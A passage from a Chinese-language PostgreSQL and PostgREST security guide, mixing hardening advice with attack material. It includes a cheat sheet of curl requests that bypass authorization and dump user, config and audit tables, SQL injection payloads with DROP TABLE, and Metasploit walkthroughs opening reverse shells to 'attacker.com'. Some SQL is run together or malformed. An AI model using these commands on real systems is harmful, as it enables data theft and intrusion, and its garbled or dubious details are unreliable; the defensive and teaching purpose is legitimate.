▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;7️⃣ 数据导出 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 获取全部用户信息 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 获取管理员账户 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 整理敏感数据报告 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│└─────────────────────────────────────────────────────────────────┘

4.12.7 实战命令速查

# === 基础探测 ===# 1. 发现接口curl&nbsp;-I&nbsp;"http://target.com/rest/v1/"# 2. 获取OpenAPI文档curl&nbsp;"http://target.com/"# 3. 测试匿名访问curl&nbsp;"http://target.com/rest/v1/feedbacks?select=*&limit=1"# === 函数调用 ===# 4. 获取当前用户curl&nbsp;"http://target.com/rest/v1/feedbacks?select=*,current_user"# 5. 获取数据库版本curl&nbsp;"http://target.com/rest/v1/feedbacks?select=*,version()"# === 越权利用 ===# 6. 越权查看所有反馈curl&nbsp;"http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null"# 7. UUID越权curl&nbsp;"http://target.com/rest/v1/feedbacks?select=*&user_id=not.is.null"# 8. 组合越权curl&nbsp;"http://target.com/rest/v1/feedbacks?select=*&user_id=not.is.null&org_id=not.is.null"# === PGRST116绕过 ===# 9. 添加 single=falsecurl&nbsp;"http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null&single=false"# 10. 使用 Range 头curl&nbsp;-H&nbsp;"Range: 0-99"&nbsp;"http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null"# 11. 使用 Prefer 头curl&nbsp;-H&nbsp;"Prefer: count=none"&nbsp;"http://target.com/rest/v1/feedbacks?select=*&reply=not.is.null"# === 横向移动 ===# 12. 访问用户表curl&nbsp;"http://target.com/rest/v1/auth.users?select=*&limit=100"# 13. 访问配置表curl&nbsp;"http://target.com/rest/v1/system_configs?select=*"# 14. 访问日志表curl&nbsp;"http://target.com/rest/v1/audit_logs?select=*&limit=100"# === 完整数据导出 ===# 15. 循环导出所有用户(分页)for&nbsp;i&nbsp;in&nbsp;{0..1000..100};&nbsp;do&nbsp; &nbsp;&nbsp;curl&nbsp;"http://target.com/rest/v1/auth.users?select=*&limit=100&offset=$i"&nbsp;\&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;>> users_dump.jsondone

4.12.8 防护建议

针对PostgREST越权漏洞

-- 1. 强制启用RLSALTER TABLE&nbsp;feedbacks ENABLE&nbsp;ROW&nbsp;LEVEL SECURITY;ALTER TABLE&nbsp;feedbacks FORCE&nbsp;ROW&nbsp;LEVEL SECURITY;-- 2. 创建严格的访问策略CREATE&nbsp;POLICY feedback_access_policy&nbsp;ON&nbsp;feedbacks&nbsp; &nbsp;&nbsp;FOR&nbsp;ALL&nbsp; &nbsp;&nbsp;USING&nbsp;(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;-- 允许用户查看自己的反馈&nbsp; &nbsp; &nbsp; &nbsp; user_id&nbsp;=&nbsp;auth.uid()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OR&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;-- 允许管理员查看所有&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;current_role&nbsp;IN&nbsp;('admin',&nbsp;'service_role')&nbsp; &nbsp; )&nbsp; &nbsp;&nbsp;WITH&nbsp;CHECK&nbsp;(&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;-- 写入时也必须匹配&nbsp; &nbsp; &nbsp; &nbsp; user_id&nbsp;=&nbsp;auth.uid()&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;OR&nbsp;current_role&nbsp;IN&nbsp;('admin',&nbsp;'service_role')&nbsp; &nbsp; );-- 3. 禁止anon角色访问敏感表REVOKE&nbsp;ALL&nbsp;ON&nbsp;feedbacks&nbsp;FROM&nbsp;anon;GRANT&nbsp;SELECT&nbsp;ON&nbsp;feedbacks&nbsp;TO&nbsp;authenticated;-- 4. 审计查询日志CREATE TABLE&nbsp;query_audit_log (&nbsp; &nbsp; id SERIAL&nbsp;PRIMARY KEY,&nbsp; &nbsp; query_text TEXT,&nbsp; &nbsp; user_id UUID,&nbsp; &nbsp; ip_address INET,&nbsp; &nbsp; created_at&nbsp;TIMESTAMP&nbsp;DEFAULT&nbsp;NOW());-- 5. 限制返回字段CREATE&nbsp;POLICY feedback_public&nbsp;ON&nbsp;feedbacks&nbsp; &nbsp;&nbsp;FOR&nbsp;SELECT&nbsp; &nbsp;&nbsp;TO&nbsp;anon&nbsp; &nbsp;&nbsp;USING&nbsp;(true)&nbsp; &nbsp;&nbsp;WITH&nbsp;CHECK&nbsp;(false);-- 只允许访问非敏感字段给匿名用户

PostgREST配置加固

# postgrest.conf# 限制匿名角色权限db-anon-role&nbsp;=&nbsp;"restricted_anon"# 禁用RPC调用(如果不需要)# db-max-rpc = "0"# 限制返回记录数db-max-rows&nbsp;=&nbsp;"1000"# 禁用openapi(生产环境)openapi-mode&nbsp;=&nbsp;"disabled"# 详细日志log-level&nbsp;=&nbsp;"error"# 请求超时request-timeout&nbsp;=&nbsp;"30"

5. 防护建议

5.1 安全配置最佳实践

5.1.1 JWT配置

# 强制使用强密钥(至少64字符)
jwt-secret="your-very-long-and-complex-secret-key-at-least-64-chars"

# 配置受众验证
jwt-aud="your-api-audience"

# 定期轮换密钥
# 建议:每90天轮换一次

5.1.2 角色配置

-- 1. 创建最小权限的authenticator角色
CREATE&nbsp;ROLE authenticator NOINHERIT NOLOGIN;

-- 2. 仅授予必要的切换权限
GRANT&nbsp;webuser&nbsp;TO&nbsp;authenticator;
GRANT&nbsp;api_user&nbsp;TO&nbsp;authenticator;
-- 不要授予admin给authenticator

-- 3. 设置角色特定的超时
ALTER&nbsp;ROLE authenticator&nbsp;SET&nbsp;statement_timeout&nbsp;='30s';
ALTER&nbsp;ROLE anon&nbsp;SET&nbsp;statement_timeout&nbsp;='5s';

5.1.3 Schema隔离

-- 1. 不要使用public schema作为API schema
-- 2. 创建专用的API schema
CREATESCHEMA&nbsp;api;

-- 3. 将业务表移到专用schema
ALTERTABLEpublic.users&nbsp;SETSCHEMA&nbsp;api;

-- 4. 保持public schema仅用于扩展
CREATE&nbsp;EXTENSION&nbsp;IFNOTEXISTS&nbsp;uuid-ossp;-- 保留在public

5.2 加固措施

5.2.1 RLS策略

-- 为所有敏感表启用RLS
ALTERTABLE&nbsp;users&nbsp;ENABLEROWLEVEL&nbsp;SECURITY;
ALTERTABLE&nbsp;orders&nbsp;ENABLEROWLEVEL&nbsp;SECURITY;
ALTERTABLE&nbsp;payments&nbsp;ENABLEROWLEVEL&nbsp;SECURITY;

-- 创建默认拒绝策略
CREATE&nbsp;POLICY deny_all&nbsp;ON&nbsp;sensitive_data&nbsp;FORALL
USING(false)
WITHCHECK(false);

-- 创建特定访问策略
CREATE&nbsp;POLICY users_select&nbsp;ON&nbsp;users&nbsp;FORSELECT
USING(
&nbsp; &nbsp; &nbsp; &nbsp; auth.uid()=&nbsp;user_id
OR&nbsp;current_role&nbsp;='admin'
);

-- 强制RLS(即使表所有者也必须遵守)
ALTERTABLE&nbsp;users&nbsp;FORCEROWLEVEL&nbsp;SECURITY;

5.2.2 函数安全

-- 1. 撤销默认函数执行权限
ALTERDEFAULTPRIVILEGESREVOKEEXECUTEON&nbsp;FUNCTIONS&nbsp;FROMPUBLIC;

-- 2. 安全创建SECURITY DEFINER函数
CREATEORREPLACEFUNCTION&nbsp;safe_admin_function()
RETURNS&nbsp;void
LANGUAGE&nbsp;plpgsql
SECURITY&nbsp;DEFINER
SET&nbsp;search_path&nbsp;='pg_catalog','api'-- 必须设置
SET&nbsp;app.settings.request_role&nbsp;=current_user
AS&nbsp;$$
BEGIN
-- 验证调用者权限
IFcurrent_user='admin'THEN
-- 执行管理操作
ELSE
&nbsp; &nbsp; &nbsp; &nbsp; RAISE EXCEPTION&nbsp;'Unauthorized';
ENDIF;
END;
$$;

-- 3. 最小权限授予
GRANTEXECUTEONFUNCTION&nbsp;safe_admin_function()TO&nbsp;admin_role;

5.2.3 网络安全

# postgresql.conflisten_addresses&nbsp;=&nbsp;'localhost'&nbsp;&nbsp;# 只监听本地# 或listen_addresses&nbsp;=&nbsp;'10.0.0.0'&nbsp; &nbsp;&nbsp;# 只监听内部网络# 启用SSLssl&nbsp;=&nbsp;onssl_cert_file&nbsp;=&nbsp;'/path/to/server.crt'ssl_key_file&nbsp;=&nbsp;'/path/to/server.key'# 强制SSL连接sslmode&nbsp;=&nbsp;'require'&nbsp;&nbsp;# 或 'verify-full'

5.3 检测方法

5.3.1 日志审计

-- 启用审计日志ALTER&nbsp;DATABASE mydb&nbsp;SET&nbsp;log_statement&nbsp;=&nbsp;'all';ALTER&nbsp;DATABASE mydb&nbsp;SET&nbsp;log_duration&nbsp;=&nbsp;on;ALTER&nbsp;DATABASE mydb&nbsp;SET&nbsp;log_line_prefix&nbsp;=&nbsp;'%t %u %d ';-- 查询异常模式SELECT&nbsp;*&nbsp;FROM&nbsp;pg_log&nbsp;WHERE&nbsp;message&nbsp;LIKE&nbsp;'%DROP TABLE%';SELECT&nbsp;*&nbsp;FROM&nbsp;pg_log&nbsp;WHERE&nbsp;message&nbsp;LIKE&nbsp;'%permission denied%';-- 监控失败的认证尝试SELECT&nbsp;*&nbsp;FROM&nbsp;pg_log&nbsp;WHERE&nbsp;message&nbsp;LIKE&nbsp;'%JWSError%';

5.3.2 异常检测查询

-- 检测大查询SELECT&nbsp;datname, query, calls, total_exec_time&nbsp;FROM&nbsp;pg_stat_statements&nbsp;WHERE&nbsp;total_exec_time&nbsp;>&nbsp;10000&nbsp;ORDER&nbsp;BY&nbsp;total_exec_time&nbsp;DESC;-- 检测异常数据访问模式SELECT&nbsp;&nbsp; &nbsp; auth.uid()&nbsp;as&nbsp;user_id,&nbsp; &nbsp;&nbsp;COUNT(*)&nbsp;as&nbsp;access_count,&nbsp; &nbsp;&nbsp;MAX(query_start)&nbsp;as&nbsp;last_accessFROM&nbsp;audit_logGROUP&nbsp;BY&nbsp;auth.uid()HAVING&nbsp;COUNT(*)&nbsp;>&nbsp;10000;-- 检测权限提升尝试SELECT&nbsp;*&nbsp;FROM&nbsp;audit_log&nbsp;WHERE&nbsp;action&nbsp;=&nbsp;'role_change'&nbsp;AND&nbsp;new_role&nbsp;=&nbsp;'admin';

5.4 应急响应建议

5.4.1 事件响应流程

┌─────────────────────────────────────────────────────────────┐│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 应急响应流程 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; │├─────────────────────────────────────────────────────────────┤│ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;1. 检测识别 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 异常日志 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 性能下降 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 用户报告 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;2. 遏制措施 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 暂停受影响的服务 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; ├─ 撤销可疑账户权限 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ││ &nbsp; &nbsp; └─ 启用额外监控 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;3. 根因分析 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 分析日志 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 确定攻击向量 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 评估影响范围 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;4. 恢复与修复 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 修复漏洞 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ├─ 恢复数据 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 重置凭证 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; │ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; ▼ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp;5. 事后分析 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; └─ 总结改进 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;││ &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;│└─────────────────────────────────────────────────────────────┘

5.4.2 快速止血脚本

-- 立即禁用可疑用户ALTER&nbsp;ROLE suspicious_user NOLOGIN;-- 禁用RLS绕过权限ALTER&nbsp;ROLE authenticator BYPASSRLS NOBYPASSRLS;-- 撤销所有PUBLIC权限REVOKE&nbsp;ALL&nbsp;ON&nbsp;DATABASE mydb&nbsp;FROM&nbsp;PUBLIC;-- 禁用危险函数REVOKE&nbsp;EXECUTE&nbsp;ON&nbsp;FUNCTION&nbsp;pg_read_file&nbsp;FROM&nbsp;PUBLIC;REVOKE&nbsp;EXECUTE&nbsp;ON&nbsp;FUNCTION&nbsp;pg_execute_server_program&nbsp;FROM&nbsp;PUBLIC;-- 启用紧急模式(只读)ALTER&nbsp;DATABASE mydb&nbsp;SET&nbsp;default_transaction_read_only&nbsp;=&nbsp;true;

6. CVE漏洞汇总

6.1 高危CVE列表

| | | — | | |

| | | — | | |

| CVE编号 | CVSS | 漏洞类型 | 影响版本 | 利用难度 | | — | — | — | — | — | | CVE-2025-8715 | 8.8 | pg_dump换行符注入 | < 17.6, < 16.10, < 15.14, < 14.19, < 13.22 | 中 | | CVE-2025-8714 | 8.8 | pg_dump数据注入 | < 17.6, < 16.10, < 15.14, < 14.19, < 13.22 | 中 | | CVE-2025-1094 | 8.1 | libpq转义API注入 | < 17.3, < 16.7, < 15.11, < 14.16, < 13.19 | 高 | | CVE-2019-9193 | 9.1 | COPY FROM PROGRAM RCE | 9.3+ | 低 | | CVE-2024-10979 | 8.8 | PostgreSQL代码注入 | < 16.6, < 15.10, < 14.15, < 13.18 | 中 | | CVE-2023-39417 | 8.8 | 扩展脚本SQL注入 | < 16.4, < 15.8, < 14.13, < 13.16 | 中 | | CVE-2020-25696 | 8.1 | psql SQL注入 | < 13.4, < 12.8, < 11.13 | 中 |

#

#

6.2 CVE-2024-10979 – PostgreSQL代码注入

漏洞概述: PostgreSQL的某些设置函数处理不当,可能导致代码执行。

受影响版本

  • PostgreSQL < 16.6
  • PostgreSQL < 15.10
  • PostgreSQL < 14.15
  • PostgreSQL < 13.18

攻击路径

-- 通过SET命令注入
SET&nbsp;search_path&nbsp;TO"public; SELECT 1; --";

-- 通过RESET命令
RESET search_path&nbsp;TO"test'; DROP TABLE users; --";

-- 危险配置操作
ALTERDATABASE&nbsp;mydb&nbsp;SET&nbsp;search_path&nbsp;TO"evil";

6.3 CVE-2023-39417 – 扩展脚本SQL注入

漏洞概述: PostgreSQL扩展安装脚本存在SQL注入漏洞。

攻击条件

  • 攻击者需能创建扩展
  • 扩展脚本未正确转义用户输入
-- 创建恶意扩展
CREATE&nbsp;EXTENSION&nbsp;IFNOTEXISTS&nbsp;malicious
FROM'pg_catalog; DROP TABLE users; --';

6.4 历史重要CVE时间线

2019-03&nbsp; &nbsp; &nbsp;CVE-2019-9193&nbsp;-&nbsp;COPY&nbsp;FROM&nbsp;PROGRAM (CVSS&nbsp;9.1)&nbsp; &nbsp; &nbsp;│2020-09&nbsp; &nbsp; &nbsp;CVE-2020-14349&nbsp;-&nbsp;任意代码执行&nbsp; &nbsp; &nbsp;│2020-11&nbsp; &nbsp; &nbsp;CVE-2020-25696&nbsp;-&nbsp;psql&nbsp;SQL注入 (CVSS&nbsp;8.1)&nbsp; &nbsp; &nbsp;│2021-09&nbsp; &nbsp; &nbsp;CVE-2021-23222/23214&nbsp;-&nbsp;libpq中间人攻击&nbsp; &nbsp; &nbsp;│2022-05&nbsp; &nbsp; &nbsp;CVE-2022-1552&nbsp;-&nbsp;自动命令执行 (CVSS&nbsp;8.1)&nbsp; &nbsp; &nbsp;│2023-07&nbsp; &nbsp; &nbsp;CVE-2023-39417&nbsp;-&nbsp;扩展脚本SQL注入 (CVSS&nbsp;8.8)&nbsp; &nbsp; &nbsp;│2024-01&nbsp; &nbsp; &nbsp;CVE-2024-0557/0564&nbsp;-&nbsp;认证绕过&nbsp; &nbsp; &nbsp;│2024-11&nbsp; &nbsp; &nbsp;CVE-2024-10979&nbsp;-&nbsp;代码注入 (CVSS&nbsp;8.8)&nbsp; &nbsp; &nbsp;│2025-01&nbsp; &nbsp; &nbsp;CVE-2025-1094&nbsp;-&nbsp;libpq转义API (CVSS&nbsp;8.1)&nbsp; &nbsp; &nbsp;│2025-01&nbsp; &nbsp; &nbsp;CVE-2025-8714/8715&nbsp;-&nbsp;pg_dump RCE (CVSS&nbsp;8.8)

7. 攻击工具与框架

7.1 Metasploit PostgreSQL模块

7.1.1 利用模块列表

#&nbsp;PostgreSQL相关模块search postgres#&nbsp;结果:#&nbsp;exploit/linux/postgres/postgres_payload &nbsp; &nbsp; &nbsp; &nbsp;# Linux UDF注入#&nbsp;exploit/windows/postgres/postgres_payload &nbsp; &nbsp; &nbsp;# Windows UDF注入#&nbsp;exploit/multi/postgres/postgres_copy_from_program_cmd_exec &nbsp;# COPY FROM PROGRAM#&nbsp;auxiliary/admin/postgres/postgres_sql &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;# SQL执行#&nbsp;auxiliary/scanner/postgres/postgres_login &nbsp; &nbsp; &nbsp;&nbsp;# 暴力破解#&nbsp;auxiliary/scanner/postgres/postgres_version &nbsp; &nbsp;&nbsp;# 版本探测#&nbsp;auxiliary/scanner/postgres/postgres_db_injection_sqli &nbsp;# SQL注入

7.1.2 postgres_payload 模块使用

# 1. 加载模块msf6 > use exploit/linux/postgres/postgres_payload# 2. 设置目标信息msf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;RHOSTS 192.168.1.100msf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;RPORT 5432msf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;DATABASE app_dbmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;USERNAME postgresmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;PASSWORD postgres123# 3. 选择payloadmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;PAYLOAD linux/x64/meterpreter/reverse_tcpmsf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;LHOST 192.168.1.50msf6 exploit(linux/postgres/postgres_payload) >&nbsp;set&nbsp;LPORT 4444# 4. 执行msf6 exploit(linux/postgres/postgres_payload) > exploit# 成功后会获得meterpreter shellmeterpreter > sysinfometerpreter > shell

7.1.3 postgres_copy_from_program_cmd_exec 模块

# COPY FROM PROGRAM 命令执行msf6 > use exploit/multi/postgres/postgres_copy_from_program_cmd_execmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >&nbsp;set&nbsp;RHOSTS target.localmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >&nbsp;set&nbsp;DATABASE mydbmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >&nbsp;set&nbsp;USERNAME postgresmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >&nbsp;set&nbsp;PASSWORD passwordmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >&nbsp;set&nbsp;TARGET_CMD /bin/bashmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >&nbsp;set&nbsp;PAYLOAD cmd/unix/reverse_bashmsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) >&nbsp;set&nbsp;LHOST attacker.commsf6 exploit(multi/postgres/postgres_copy_from_program_cmd_exec) > exploit

7.1.4 扫描探测模块

